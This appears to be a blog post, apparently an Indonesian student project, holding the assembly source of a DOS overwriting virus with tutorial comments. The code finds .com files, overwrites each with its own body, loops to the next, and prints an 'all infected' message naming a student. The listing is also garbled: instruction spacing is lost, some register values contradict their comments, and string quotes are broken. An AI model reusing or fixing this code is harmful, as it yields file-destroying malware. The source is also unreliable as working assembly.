draggy segment ; namasegmen (awaldarisegmen),
assume cs:draggy, ds:draggy ; register csdengan ds ke segment
org 100h ; daftarkememori 100hex atau 256 bytes
; ------------------------------------------------------------------------
mulai: ; nama label (bisaditulisdgnnamaapasaja,
; terserahandaygpentingandamengerti)
mov ah,5eh ; move nilai 4e hex ke ah untuk general register
TesVirusproc near ; identitas virus/prosedur
; ------------------------------------------------------------------------
cari_korban: ;nama label
xorcx,cx ; cx = 0 untuk general register utk set atribut
; file = normal,
leadx,comsig ; L<oad> E<ffective> A<ddress>daricomsigke dx
; atau move string ke dx untukmencari
; spesifik file ygakandiinfeksi,
int 21h ; eksekusifungsi yang sudah di set
jcjejakpendekar ; jc = jump if carry (jika program telah
; terinfeksimakaeksekusirutinjejakpendekar
; ------------------------------------------------------------------------
buka_bajunya: ;nama label
mov ax,3d02h ; asumsi program telahmenemukan file ygakan
; diinfeksimaka 3d02h diloadke AX
; karena AX tiperegisternya 16-bit yang isinya
; masing-masing 8 bit AH & AL maka AH=3dh & AL=02h,
mov dx,9eh ; load ASCii string ke dx untuknama file yg
; akandiinfeksiletaknyaada di PSP di bagian
; D<ata>T<ransfer>A<rea>.
; PSP start di 00 hex,DTA start di 80 hex,
; file name ada di 1e hex di awal DTA
; jadi total offset ini : 1e+80=9e hex,
int 21h ; eksekusi
; ------------------------------------------------------------------------
perkosa_korban: ;nama label
xchgbx,ax ; di rutinsebelumnyapadasaat
; file dibuka(open), komputer
; menempatkanperlakuanunik
; (unique file handle) dandisimpan
; kedalam AX. Kita membutuhkan file handle
; itu di BX untukfungsi write record
; jadiandadapatmenggunakan Exchange(xchg) AX
; ke BX {xchgbx,ax} atau
; bisajugadenganmenggunakanmovbx,axtetapi
; ukuran program menjadilebihbesar 1 byte,
; [biasanyauntukpembuatan program virus, kita
; harusdapatmengoptimalkankode program agar
; program yang dihasilkanukurannyalebihkecil
; sehinggalebihhematmemoridanefektif.]
mov ah,40h ; load 40 hex ke AH
movcx,offset target - offset mulai ; perintahkankomputer
; agarmenghitungjarakantara
; offsetmulaidengan offset target agar
; dapatdiketahuiberapabanyak bytes
; ygakanditulis(write).
; jadi CX harusdiloaddgnjumlah bytes
; ygakanditulis
lea dx,mulai ; load alamatmulaike dx
int 21h ; eksekusi
; ------------------------------------------------------------------------
balikin_bajunya: ;nama label
mov ah,3eh ; setelah file telahterinfeksimakatutup file
; korban (load 3eh ke ah) agar program virus ini
; dapatmulaimencari program lain untukdiinfeksi
int 21h ; eksekusi
mov ah,4fh ; load 4f ke AH
jmpcari_korban ; looping, lompatke label cari_korban
; sampaiada file yang flagnya=1
; ------------------------------------------------------------------------
jejakpendekar: ; nama label
; rutininibergunauntukmenampilkanpesan,
; jugasebagaitanda program virus telahselesai.
; jadijikaandatidakinginmenggunakanrutinini
; tidakapa-apakarena program virus inimasih
; dapatberjalan
mov dh,8h ; serviske 9 untukmencetak string
mov dx, offset pesanku ; teksygakandidisplaypadalayarharus
; diloaddahuluke dx (Data Register)
; jadiambilalamat Offset pesanku
int 21h ; eksekusi
; ------------------------------------------------------------------------
keluar:
int 20h ; finish! kembalike DOS.
; terminate operation tanpamenset register.
; cara lain terminate dgnmenset register adalah:
; mov ax,4c00h menggunakanint 21h
; (Keterangan: 00=exit without error)
;--------------------------------------------------------------------------------
comsig db "*.com",0 ; define data = comsig, 0 = akhir string
; comsig = signature file COM
pesankudb 'semua file *.com di direktoriinisudah di infeksi',10,13
db 'selamatandaberhasilmembuat virus',10,13
db 'kritikdan saran sangat kami harapkan',10,13
db 'POLITEKNIK POS INDONESIA',13,10
db '',13,10
db 'SELAMAT DATANG DI PROGRAM KAMI. By KELOMPOK BASUKI!!',13,10
db '',13,10
db 'Nama : Mario Ignasius,13,10
db 'Npm : 1123137’,13,10
db 'Kelas : D3 / 1B',13,10
db 'Jurusan : Teknik Informatika',13,10
db '',13,10,'$'
target label near ; label didalamprosedurTesVirus yang berguna
; utkmenetapkanjarak/besar program virus
TesVirusendp ; akhir procedure
draggy ends ; akhirsegmen
endmulai ; akhirmulai (mulai = kodepertamaygdieksekusi
; komputer yang beradadidalamsegmen draggy)
Tidak ada komentar:
Posting Komentar